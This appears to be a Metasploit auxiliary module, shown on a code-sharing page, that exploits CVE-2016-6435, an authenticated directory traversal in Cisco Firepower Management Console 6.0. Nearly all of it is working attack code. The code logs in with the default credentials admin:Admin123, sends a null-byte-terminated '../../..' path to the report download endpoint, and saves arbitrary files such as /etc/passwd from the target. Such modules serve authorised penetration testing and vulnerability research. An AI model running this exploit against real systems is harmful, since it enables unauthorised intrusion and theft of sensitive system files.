Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/http/cisco_firepower_download.rb
19851 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Auxiliary::Scanner
8
include Msf::Auxiliary::Report
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => "Cisco Firepower Management Console 6.0 Post Auth Report Download Directory Traversal",
16
'Description' => %q{
17
This module exploits a directory traversal vulnerability in Cisco Firepower Management
18
under the context of www user. Authentication is required to exploit this vulnerability.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => [
22
'Matt', # Original discovery && PoC
23
'sinn3r', # Metasploit module
24
],
25
'References' => [
26
['CVE', '2016-6435'],
27
['URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking']
28
],
29
'DisclosureDate' => '2016-10-10',
30
'DefaultOptions' => {
31
'RPORT' => 443,
32
'SSL' => true,
33
'SSLVersion' => 'Auto'
34
},
35
'Notes' => {
36
'Reliability' => UNKNOWN_RELIABILITY,
37
'Stability' => UNKNOWN_STABILITY,
38
'SideEffects' => UNKNOWN_SIDE_EFFECTS
39
}
40
)
41
)
42
43
register_options(
44
[
45
# admin:Admin123 is the default credential for 6.0.1
46
OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),
47
OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),
48
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
49
OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd'])
50
]
51
)
52
end
53
54
def do_login(ip)
55
console_user = datastore['USERNAME']
56
console_pass = datastore['PASSWORD']
57
uri = normalize_uri(target_uri.path, 'login.cgi')
58
59
print_status("Attempting to login in as #{console_user}:#{console_pass}")
60
61
res = send_request_cgi({
62
'method' => 'POST',
63
'uri' => uri,
64
'vars_post' => {
65
'username' => console_user,
66
'password' => console_pass,
67
'target' => ''
68
}
69
})
70
71
unless res
72
fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')
73
end
74
75
res_cookie = res.get_cookies
76
if res.code == 302 && res_cookie.include?('CGISESSID')
77
cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first
78
vprint_status("CGI Session ID: #{cgi_sid}")
79
print_good("Authenticated as #{console_user}:#{console_pass}")
80
report_cred(ip: ip, user: console_user, password: console_pass)
81
return cgi_sid
82
end
83
84
nil
85
end
86
87
def report_cred(opts)
88
service_data = {
89
address: opts[:ip],
90
port: rport,
91
service_name: 'cisco',
92
protocol: 'tcp',
93
workspace_id: myworkspace_id
94
}
95
96
credential_data = {
97
origin_type: :service,
98
module_fullname: fullname,
99
username: opts[:user],
100
private_data: opts[:password],
101
private_type: :password
102
}.merge(service_data)
103
104
login_data = {
105
last_attempted_at: DateTime.now,
106
core: create_credential(credential_data),
107
status: Metasploit::Model::Login::Status::SUCCESSFUL,
108
proof: opts[:proof]
109
}.merge(service_data)
110
111
create_credential_login(login_data)
112
end
113
114
def download_file(cgi_sid, file)
115
file_path = "../../..#{Rex::FileUtils.normalize_unix_path(file)}\x00"
116
print_status("Requesting: #{file_path}")
117
send_request_cgi({
118
'method' => 'GET',
119
'cookie' => "CGISESSID=#{cgi_sid}",
120
'uri' => normalize_uri(target_uri.path, 'events/reports/view.cgi'),
121
'vars_get' => {
122
'download' => '1',
123
'files' => file_path
124
}
125
})
126
end
127
128
def remote_file_exists?(res)
129
(
130
res.headers['Content-Disposition'] &&
131
res.headers['Content-Disposition'].match(/attachment; filename=/) &&
132
res.headers['Content-Type'] &&
133
res.headers['Content-Type'] == 'application/octet-stream'
134
)
135
end
136
137
def save_file(res, ip)
138
fname = res.headers['Content-Disposition'].scan(/filename=(.+)/).flatten.first || File.basename(datastore['FILEPATH'])
139
140
path = store_loot(
141
'cisco.https',
142
'application/octet-stream',
143
ip,
144
res.body,
145
fname
146
)
147
148
print_good("File saved in: #{path}")
149
end
150
151
def run_host(ip)
152
cgi_sid = do_login(ip)
153
154
unless cgi_sid
155
fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')
156
end
157
158
res = download_file(cgi_sid, datastore['FILEPATH'])
159
160
if res.nil?
161
print_error("Connection timed out while downloading: #{datastore['FILEPATH']}")
162
elsif remote_file_exists?(res)
163
save_file(res, ip)
164
else
165
print_error("Remote file not found: #{datastore['FILEPATH']}")
166
end
167
end
168
end
169
170